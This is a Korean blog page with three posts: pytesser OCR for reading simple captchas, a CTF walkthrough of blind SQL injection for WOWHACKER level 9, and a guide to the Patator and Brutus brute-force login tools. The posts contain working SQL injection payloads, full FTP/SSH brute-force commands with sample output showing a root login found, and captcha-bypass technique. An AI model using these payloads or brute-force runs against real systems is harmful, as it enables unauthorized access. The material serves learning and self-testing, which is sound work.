이미지 파일에서 문자열을 추출하거나 captcha우회하기 위해 captcha로 부터 문자열을 추출해야 하는 경우에 이미지의 문자 상태가 양호한 편(복잡한 형태의 captcha는 안됨)이라면 간단하게 pytesser라는 라이브러리를 활용해서 문자열을 추출 할 수 있습니다. 


참고로, 우분투 12.04 버전을 기준으로 작성하였습니다. 



추천은 저를 춤추게 합니다 ^^



1. 먼저 아래의 우분투 패키지들을 설치해줍시다. 


$ sudo apt-get install libpng12-dev

$ sudo apt-get install libjpeg62-dev

$ sudo apt-get install libtiff4-dev

$ sudo apt-get install GCC

$ sudo apt-get install g++

$ sudo apt-get install automake



2. pytesser를 설치하기 위해 필요한 파일들을 각 사이트에 접속해서 다운 받아서 설치합니다. 


2.1 leptonica 를 설치합시다. (leptonica-1.69.tar.bz2)


다운로드 주소: 

 

컴파일 및 설치 명령어 

$ ./configure && make -j4 && sudo make install



2.2  Tesseract 를 설치합시다. (  tesseract-ocr-3.02.02.tar.gz)


다운로드 주소:


컴파일 및 설치 명령어 

./configure && make -j4 && sudo make install && sudo ldconfig


 

2.3  Tesseract 언어 데이터 파일을 설치합시다. ( tesseract-ocr-3.02.eng.tar.gz)

영어를 인식해서 문자열을 추출하기 위해 영어 데이터 파일을 다운 받았습니다. 


다운로드 주소:


설치:

다운 받은 파일을 압축을 풀어서 다음 폴더로 옮겨 줍시다. 


/usr/local/share/tessdata


 


2.4  pytesser를 다운 받읍시다.  ( pytesser_v0.0.1.zip )


다운로드 주소:


pythess를 사용할 폴더에서 다운 받은 파일의 압축을 풀어줍니다. 



3. 테스트  

바로 이미지 파일 디코드를 시작해도 되지만, 우선 제대로 설치 됐는지 확인해보는게 좋습니다. 


pytesser 파일의 압축을 풀어 놓은 폴더로 이동해서 테스트로 파이썬 파일을 하나 만들어서 아래와 같은 코드로 테스트 해 봅시다. 


※ 소스코드를 더블클릭하면 복사가 가능합니다. 



4. 코드 작성 및 즐기기 

위의 테스트코드가 정상적으로 동작한다면 아래와 같이 원하는 코드를 작성하셔서 사용하시면 됩니다. 



getpixel() 함수로 픽셀값을 가져오고 putpixel() 함수로 원하는 위치의 값을 변경 할 수 있습니다. 


참고로, 255가 흰색이고 0이 검은색입니다. 

위 코드는 검은색이 아닌 즉, 글씨가 아닌 부분을 하얗게 처리하기 위한 코드인거죠. 


이걸 잘 활용해서 글자에 구멍 난 부분을 메울 수 도 있겠죠? 

이미지 보정 작업을 하면 아래처럼 컴퓨터가 인식하기에 좀 더 편하게 만들어 줄 수 있답니다. 




다양한 이미지 처리 함수에 대해 알고 싶다면 아래 사이트를 참고하시면 됩니다. 

PIL 함수 참고 사이트 =>  http://effbot.org/imagingbook/image.htm



Posted by KT한
,
해킹을 배우는 사람의 입장에서 자세하게 풀이법을 정리하고자 합니다. 

WOWHACKER WEBGAME SEASON2  Level 9 풀이법입니다. 


이번 레벨은 1~7레벨과 달리 별도의 준비물이 필요합니다. 
외부에서 request 패킷을 보내오면 그 패킷에 대해 처리해주는 과정이 필요한데 이를 위해서 외부에서 내 PC로 패킷을 보내올 수 있도록 공인 IP를 할당 받아야 됩니다. 
물론, 현재 공인IP를 쓰고 있다면 한결 수월할겁니다. 
저는 공유기를 쓰고 있어서 목적지 포트가 80인 패킷에 대해  제 PC로 오도록 포트 포워딩(Port forwarding)설정을 해줬습니다. 

기본적인 준비를 마쳤다면 문제를 풀어봅시다. 


추천은 저를 춤추게 합니다 ^^




  • 1단계: 문제 의도 파악하기 

주어진 링크에 들어가면 이런 화면이 나옵니다. 

뭔가 URL을 넣으라는것 같군요. 

와우해커 웹게임 주소를 넣어봅시다. 


서버가 Apache라는 사실과 함께 아래로 다양한 URL에 대한 서버 정보가 보이네요. 
테이블을 가만 보니 DB에서 정보를 불러와서 보여주는것 같다는 느낌이 들죠?


  • 2단계: Blind SQL Injection에 대해 알아보기 

간략하게 SQL Injection과 Blind SQL Injection의 차이점을 알아보자면.. 
Blind 는 결과 값을 화면에 보여주지 않고, 결과 값이 '참(true)' 혹은 '거짓(false)' 인지만 가지고 값을 찾아내는 방법입니다. 
자세한 내용은 와우해커에 잘 설명된 문서가 있으니 참고하시면 될것 같네요. ^^ 




  • 3단계: 웹 서버 구동시키기 

이 글의 맨 아래에 보면 간단하게 실행 가능한 파이썬(Python) 웹 서버 코드를 올려뒀습니다. 
80포트로 GET 패킷이 들어오면 커맨드 라인으로 입력받은 값을 응답으로 보내주도록 한 코드입니다. 

사용 법
$ sudo python level9.py   Apache

우선, 입력값을 'Apache'라고 주고 서버를 실행 시킨 후 ..
와우해커에서 오는 목적지 포트가 80인 패킷에 대해 내 PC로 오게 해두었다는 전재하에.. 
URL에 자신의 공인 IP를 입력해봅시다. 


동일한 결과가 나오는 군요. 


실제로 Wireshark를 실행시켜서 패킷을 덤프해보면 'GET' 패킷이 들어오는것을 알 수 있습니다.



  • 4단계: schema table 탐색하기 

레벨 7의 SQL Injection과 동일하게 'INFORMATION_SCHEMA.TABLES'에서 테이블 이름을 알아내봅시다. 

참고로, 입력값에 길이 제한이 있으니 가능한 빈칸은 없게 해야 합니다. 

명령어 예제
$ sudo python level9.py   "-1'or ascii(substr((select table_name from information_schema.tables where table_type='base table'limit 1,1),1,1)) > 100#"


SQL 명령을 주고 서버를 실행 한 후 아래와 같이 테이블에 아무내용도 나오지 않는다면 거짓(False)인 겁니다. 


만약, 아래와 같이 어떤 데이터가 나온다면 참(True)인 겁니다. 



즉, 특정 필드의 값을 알수 있다는 의미인거죠. 


처음에는 크기 비교 부등호 (>,<)를 이용해서 범위를 좁혀다가다 최종 확인은 같은지 비교하는 부등호(=) 를 써서 확인 하면 됩니다. 

아래 명령으로 테이블 이름을 찾아낼 수 있습니다. 

 "-1'or ascii(substr((select table_name from information_schema.tables where table_type='base table'limit 1,1),1,1))=114#"  
 "-1'or ascii(substr((select table_name from information_schema.tables where table_type='base table'limit 1,1),2,1))=101#" 
 "-1'or ascii(substr((select table_name from information_schema.tables where table_type='base table'limit 1,1),3,1))=97#" 
 "-1'or ascii(substr((select table_name from information_schema.tables where table_type='base table'limit 1,1),4,1))=100#" 
 "-1'or ascii(substr((select table_name from information_schema.tables where table_type='base table'limit 1,1),5,1))=109#" 
 "-1'or ascii(substr((select table_name from information_schema.tables where table_type='base table'limit 1,1),6,1))=101#" 


ASCII코드 값을 비교해서 글자를 한 글자씩 알아내면 됩니다. 
이렇게 찾아낸 결과를 조합해보면 'readme'라는 테이블이 존재함을 알 수 있습니다. 
물론, 다른 테이블도 존재하지만 문제와 상관없는 테이블들 이므로 무시하겠습니다. 


  • 5단계: schema column 탐색 

이번에는 'INFORMATION_SCHEMA.COLUMNS'에서 열(column)값을 알아봅시다. 

아래 명령으로 열(column)이름을 찾아낼 수 있습니다. 

 "-1'or ascii(substr((select column_name from information_schema.columns where table_name='readme'limit 0,1),1,1))=118#" 
 "-1'or ascii(substr((select column_name from information_schema.columns where table_name='readme'limit 0,1),2,1))=97#" 
 "-1'or ascii(substr((select column_name from information_schema.columns where table_name='readme'limit 0,1),3,1))=108#" 
 "-1'or ascii(substr((select column_name from information_schema.columns where table_name='readme'limit 0,1),4,1))=117#" 
 "-1'or ascii(substr((select column_name from information_schema.columns where table_name='readme'limit 0,1),5,1))=101#" 

ASCII코드 값을 비교해서 글자를 한 글자씩 알아내면 됩니다. 
이렇게 찾아낸 결과를 조합해보면 'value'라는 열(column)이 존재함을 알 수 있습니다. 


  • 6단계: 키 값 찾기

database와 관련된 필요한 정보는 모두 찾았습니다.
이제 실제 키 값만 찾으면 되겠군요. 

한 글자 한 글자 찾는 과정이 노가다도 이런 노가다가 없네요.
안들려

키 값을 찾기 위해 아래와 같은 명령을 실행하면 됩니다. 

'-1\' or ascii(substr((select value from readme),1,1)) = 87#'       
'-1\' or ascii(substr((select value from readme),2,1)) = 101#'     
'-1\' or ascii(substr((select value from readme),3,1)) = 98#'        
'-1\' or ascii(substr((select value from readme),4,1)) = 71 #'      
'-1\' or ascii(substr((select value from readme),5,1)) = 97 #'       
'-1\' or ascii(substr((select value from readme),6,1)) = 109 #'    
'-1\' or ascii(substr((select value from readme),7,1)) = 101 #'     
'-1\' or ascii(substr((select value from readme),8,1)) = 73 #'        
'-1\' or ascii(substr((select value from readme),9,1)) = 115 #'     
'-1\' or ascii(substr((select value from readme),10,1)) = 86 #'     
'-1\' or ascii(substr((select value from readme),11,1)) = 101 #'   
'-1\' or ascii(substr((select value from readme),12,1)) = 114 #'   
'-1\' or ascii(substr((select value from readme),13,1)) = 121 #'   
'-1\' or ascii(substr((select value from readme),14,1)) = 86 #'     
'-1\' or ascii(substr((select value from readme),15,1)) = 101 #'   
'-1\' or ascii(substr((select value from readme),16,1)) = 114 #'   
'-1\' or ascii(substr((select value from readme),17,1)) = 121 #'   
'-1\' or ascii(substr((select value from readme),18,1)) = 86 #'     
'-1\' or ascii(substr((select value from readme),19,1)) = 70 #'      
'-1\' or ascii(substr((select value from readme),20,1)) = 117 #'    
'-1\' or ascii(substr((select value from readme),21,1)) =  110 #'   
'-1\' or ascii(substr((select value from readme),22,1)) =  110 #'   
'-1\' or ascii(substr((select value from readme),23,1)) =  121 #'   
'-1\' or ascii(substr((select value from readme),23,1)) =  33 #'     


드디어 결과가 나왔습니다. 

오랜시간 삽질 하느라 수고하셨습니다. ^^ 
축하2


예의상 답은 스스로 알아보시라고 적지 않겠습니다~ 

  • 별첨: 파이썬(Python) 웹서버 코드 : 



Posted by KT한
,

Brute-Force라 하면 무작위로 여러 가지 경우의 수를 계산해서 시도해보는 것을 의미하는데요. 

사람은 유사한 작업을 반복하는것을 매우 힘들어하고 싫어하는 반면 컴퓨터는 반복 작업도 곧잘 해냅니다. 

이런 컴퓨터에게 수 많은 경우의 수를 감안해서 다양한 무작위 시도를 하게 함으로써 원하는 정보를 획득 하는게 가능합니다. 


일반적으로 'SSH Brute-Force 공격'이 유명하죠. 

성공할 경우 타겟 장비의 root권한을 획득 할 수 있으므로 주의가 필요한 공격 중 하나라고 할 수 있습니다. 


이에 대한 방어를 준비했다면 제대로 방어가 되는지 확인이 필요하겠죠?

이 작업을 도와줄 좋은 도구가 있답니다. 


리눅스용 과 윈도우용 두 가지 간단한 툴을 소개하고자 합니다. 


※ 절대 이 도구를 악의적인 목적으로 사용하지는 마시기 바랍니다. 


  • 파이썬(Python)으로 작성된 리눅스용 Brute-Force 검증 툴


이름은 'Patator'인데요.. 사전상에 정확한 의미는 없지만.. 유추해 보기로는 'patate'를 사람명사로 표현해서 '바보처럼 같은 행위를 반복해주는 녀석' 정도가 아닐까 생각됩니다. 


믿음직 스러운건 구글 코드에 등록되어 있다는 겁니다. (아직 베타 버전인가 봅니다. 버전이 0.3 이네요.)

구글 코드 페이지 에서 기본 사용법인 지원 가능한 리스트를 확인 할 수 있습니다. 

자세한 설명은 다운받은 파일을 문서 편집 툴로 열어서 확인해보시면 됩니다. 


아래 링크를 클릭해서 다운 받으시면 됩니다. 

Patator 다운로드 



Patator 사용법:


다운 받은 실행 파일을 Brute-Force를 시도할 장비로 옮겨둡니다. 

실행 권한을 미리 부여해 두면 사용이 더 편리합니다. 


# chmod 777 ./patator_v0.3.py


이름도 간단하게 변경해 줍시다. 


# mv patator_v0.3.py patator.py



1. 사용 가능한 명령 리스트 조회

이것도 역시 '-h'옵션을 주면 됩니다. 


여기서는 공격 종류를 모듈이라고 부르고 있습니다. 아무래도 공격이라고 하면 왠지 어감이 안좋아서 그런것 같기도 하네요.


모듈 종류별로 별도의 도움말 페이지 조회 방법도 나오네요. 


# ./patator.py -h

Usage:

  $ ./patator.py module --help

or

  $ ln -s patator.py module

  $ ./module --help


Available modules:

  + ftp_login     : Brute-force FTP authentication

  + ssh_login     : Brute-force SSH authentication

  + telnet_login  : Brute-force Telnet authentication

  + smtp_login    : Brute-force SMTP authentication

  + smtp_vrfy     : Enumerate valid users using SMTP VRFY

  + smtp_rcpt     : Enumerate valid users using SMTP RCPT TO

  + http_fuzz     : Fuzz HTTP/HTTPS

  + pop_passd     : Brute-force poppassd authentication (http://netwinsite.com/poppassd/ not POP3)

  + smb_login     : Brute-force SMB authentication

  + ldap_login    : Brute-force LDAP authentication

  + mssql_login   : Brute-force MSSQL authentication

  + oracle_login  : Brute-force Oracle authentication

  + mysql_login   : Brute-force MySQL authentication

  + pgsql_login   : Brute-force PostgreSQL authentication

  + vnc_login     : Brute-force VNC authentication

  + dns_reverse   : Reverse lookup subnets

  + dns_forward   : Forward lookup subdomains

  + snmp_login    : Brute-force SNMP v1/2/3 authentication

  + unzip_pass    : Brute-force the password of encrypted ZIP files

  + keystore_pass : Brute-force the password of Java keystore files


2. 모듈 별 사용법 조회 
FTP에 대한 설명을 조회해봅시다. 
위에서 확인했던 명령어로 조회를 하면 됩니다. 

간단한 사용법까지 나와있어 옵션에 대한 설명을 다 보지 않더라도 사용이 가능합니다. 

# ./patator.py ftp_login --help
Usage:
ftp_login host=10.0.0.1 user=FILE0 password=FILE1 0=logins.txt 1=passwords.txt -x ignore:mesg='Login incorrect.' -x ignore,reset,retry:code=500 -x reset:fgrep='Login successful'

Module options:
  host          : hostnames or subnets to target
  port          : ports to target [21]
  user          : usernames to test
  password      : passwords to test
  persistent    : use persistent connections [1|0]



3. 명령 실행
위에 나온 사용 예제를 활용해서 실행하면 됩니다. 

# ./patator.py ftp_login host=10.0.0.1 user=FILE0 password=FILE1 0=logins.txt  1=passwords.txt -x ignore:mesg='Login incorrect.' -x ignore,reset,retry:code=500 -x reset:fgrep='Login successful'

여기서 사용된 옵션에 대해 간략히 살펴보면 이렇습니다. 
  1. host로 설정해준 '10.0.0.1'에 대해 FTP 로그인을 시도합니다. 
  2. FTP 로그인에 시도할 user ID와 password는 별도의 파일에 리스트 형식으로 입력해줍니다. 
  3. logins.txt에는 user ID를 한 줄에 한 개씩 가능성 있는 ID들을 입력해 줍니다. 
  4. passwords.txt에는 password를 ID처럼 가능성 있는 다양한 비밀번호를 입력해 줍니다. 
  5. 로그인 실패 메시지는 무시하고, 성공하게 되면 다른 ID/PW로 시도하기 위해 현재 연결을 끊어줍니다. 
  6. 문법 오류가 있을 때 발생하는 에러 코드 500 에 대해서도 무시하도록 합니다. 


실행 과정을 모두 보고 싶다면 뒷 부분 옵션을 생략하면 됩니다. 

# ./patator.py ftp_login host=10.0.0.1 user=FILE0 password=FILE1 0=logins.txt  1=passwords.txt


4. 결과 확인
간략한 사용결과를 보기 위해 ID만 파일에서 읽어오도록 하고 실행한 결과입니다. 

# ./patator.py ftp_login host=192.168.10.10 user=FILE0 password=qwe123 0=logins.txt
18:24:17 patator    INFO - Starting Patator v0.3 (http://code.google.com/p/patator/) at 2012-09-18 18:24 KST
18:24:17 patator    INFO -
18:24:17 patator    INFO - code & size     | candidate                   |   num | mesg
18:24:17 patator    INFO - ---------------------------------------------------------------
18:24:17 patator    INFO - 230 17          | root                        |     7 | Login successful.
18:24:20 patator    INFO - 530 16          | admin                       |     1 | Login incorrect.
18:24:20 patator    INFO - 530 16          | administrator               |     2 | Login incorrect.
18:24:20 patator    INFO - 530 16          | user                        |     3 | Login incorrect.
18:24:20 patator    INFO - 530 16          | guest                       |     4 | Login incorrect.
18:24:20 patator    INFO - 530 16          | tmp                         |     5 | Login incorrect.
18:24:20 patator    INFO - 530 16          | test                        |     6 | Login incorrect.
18:24:20 patator    INFO - Hits/Done/Size/Fail: 7/7/7/0, Avg: 2 r/s, Time: 0h 0m 3s


시간대 별로 로그인을 시도한 ID별로 결과 코드와 메시지가 출력됩니다. 
메시지에 'Login successful'이 출력되어 있다면 FTP Brute-Force에 의해 취약점이 드러난게 됩니다. 


실행시에 디펜던시(dependency)가 걸린 다른 프로그램이 있다면 실행이 되지 않겠죠? 
추가적으로 설치 해야할 게 있다면 이렇게 오류 메시지가 나타나게 됩니다. 

# ./patator.py ssh_login --help
ERROR: paramiko (http://www.lag.net/paramiko/) is required to run ssh_login.
Please read the README inside for more information.

해당 프로그램을 설치 한 후에 다시 실행 하시면 됩니다. 


=== 본문 내용 추가 ===
디펜던시를 파일들을 설치하는 법에 대한 문의가 있어 내용을 추가합니다. 
우선 파이썬(Python)을 처음 접해보시거나 익숙하지 않으시다면 파이썬 파일들을 간편하게 설치할 수 있도록 도와주는 툴을 하나 다운받아 설치 하세요. 
우리가 사용할 것은 'easy_install'인데 이것은 'setuptools'에 포함되어 있습니다. 
해당 사이트에 가서 'setuptools' 파일을 다운 받아 주세요.  wget 명령어로 받으셔도 됩니다. 

개인 사정으로 Ubuntu환경에서 설치하는 과정을 올리게 됐습니다. 다른 OS라면 감안하셔서 진행해주세요. 

$ wget https://pypi.python.org/packages/source/s/setuptools/setuptools-1.1.6.tar.gz

파일을 받았다면 압축을 풀어주세요. 

$ tar xvf setuptools-1.1.6.tar.gz 

압축을 다 풀고 나면 폴더에 들어가서 설치를 진행해 주면 됩니다. 

$ python setup.py  build
$ sudo python setup.py  install

setup.py라는 파일을 실행하면 되는데, 뒤에 'build', 'install'처럼 수행할 명령어를 지정해주면 됩니다. 
'install'은 root 권한이 있어야만 됩니다. 

이제 easy_install이란 명령어가 사용 가능할 겁니다. 이 명령어로 디펜던시 파일들을 설치 하시면 됩니다. 
한 예로 ssh_login 모듈에 필요한 'paramiko'를 설치하는 법을 알아봅시다. 

먼저 에러 메시지에 있는 링크에 들어가서 'paramiko' 파일을 받아줍니다. 물론, wget으로 받아도 됩니다. 

$ wget https://github.com/paramiko/paramiko/archive/v1.12.0.tar.gz

압축을 풀고 폴더에 들어가서 조금전에 설치 했던 'easy_install'을 활용해서 설치를 진행합니다. 

$ sudo easy_install ./
Processing 
Writing /home/kyungtae/Workspace/Reference/paramiko-1.12.0/setup.cfg
Running setup.py -q bdist_egg --dist-dir /home/kyungtae/Workspace/Reference/paramiko-1.12.0/egg-dist-tmp-8Fc0eB
warning: no files found matching '*' under directory 'docs'
zip_safe flag not set; analyzing archive contents...
Adding paramiko 1.12.0 to easy-install.pth file

Installed /usr/local/lib/python2.7/dist-packages/paramiko-1.12.0-py2.7.egg
Processing dependencies for paramiko==1.12.0
Searching for ecdsa
Reading https://pypi.python.org/simple/ecdsa/
Best match: ecdsa 0.9
Downloading https://pypi.python.org/packages/source/e/ecdsa/ecdsa-0.9.tar.gz#md5=2b9c35245ce391d6b7d8f991aad5c630
Processing ecdsa-0.9.tar.gz
Writing /tmp/easy_install-_16pCs/ecdsa-0.9/setup.cfg
Running ecdsa-0.9/setup.py -q bdist_egg --dist-dir /tmp/easy_install-_16pCs/ecdsa-0.9/egg-dist-tmp-0hYqTP
zip_safe flag not set; analyzing archive contents...
Adding ecdsa 0.9 to easy-install.pth file

Installed /usr/local/lib/python2.7/dist-packages/ecdsa-0.9-py2.7.egg
Finished processing dependencies for paramiko==1.12.0

설치가 완료 되었다면 다시 patator를 실행해봅시다. 

$ python patator.py  ssh_login
Usage: 
ssh_login host=10.0.0.1 user=root password=FILE0 0=passwords.txt -x ignore:mesg='Authentication failed.' -x ignore,reset,retry:mesg='No existing session' -x reset:code=0

설치가 정상적으로 되었군요. 이제 사용법에 맞는 명령어를 써서 사용하시면 됩니다. 



추천은 저를 춤추게 합니다 ^^




  • 윈도우용 GUI기반 Brute-Force 검증 툴 

Bruteus라는 툴입니다. 
최근에는 업데이트가 되고 있지는 않지만.. Brute-Force가 워낙 고전적인 방식이라.. 검증하는데는 크게 문제가 없어보입니다. 윈도우7에서도 정상적으로 동작합니다. 

홈페이지에서 설명 및 다운이 가능합니다. 


Brutus 사용법:

BrutusA2.exe 를 실행 시킵니다. 
한 눈에 보기에도 직관적으로 사용이 가능할 정도로 심플합니다. 

먼저, Target에 검증 할 서버의 IP주소를 넣어줍니다. 
Type에서 원하는 종류를 선택 후 'Start'버튼을 눌러주면 됩니다. 


화면 하단에 현재 진행 상황에 대한 메시지와 함께 진행률이 표시됩니다. 


사용자 ID와 비밀번호 파일은 함께 제공되고 있습니다. 

비밀번호는 800여개나 되네요. 만약 저 파일에 제공되는 비밀번호 중 하나를 사용중이라면 변경하는게 좋겠죠? 



우리의 서버 우리가 먼저 검증해서 안전하게 지킵시다~ 


Posted by KT한
,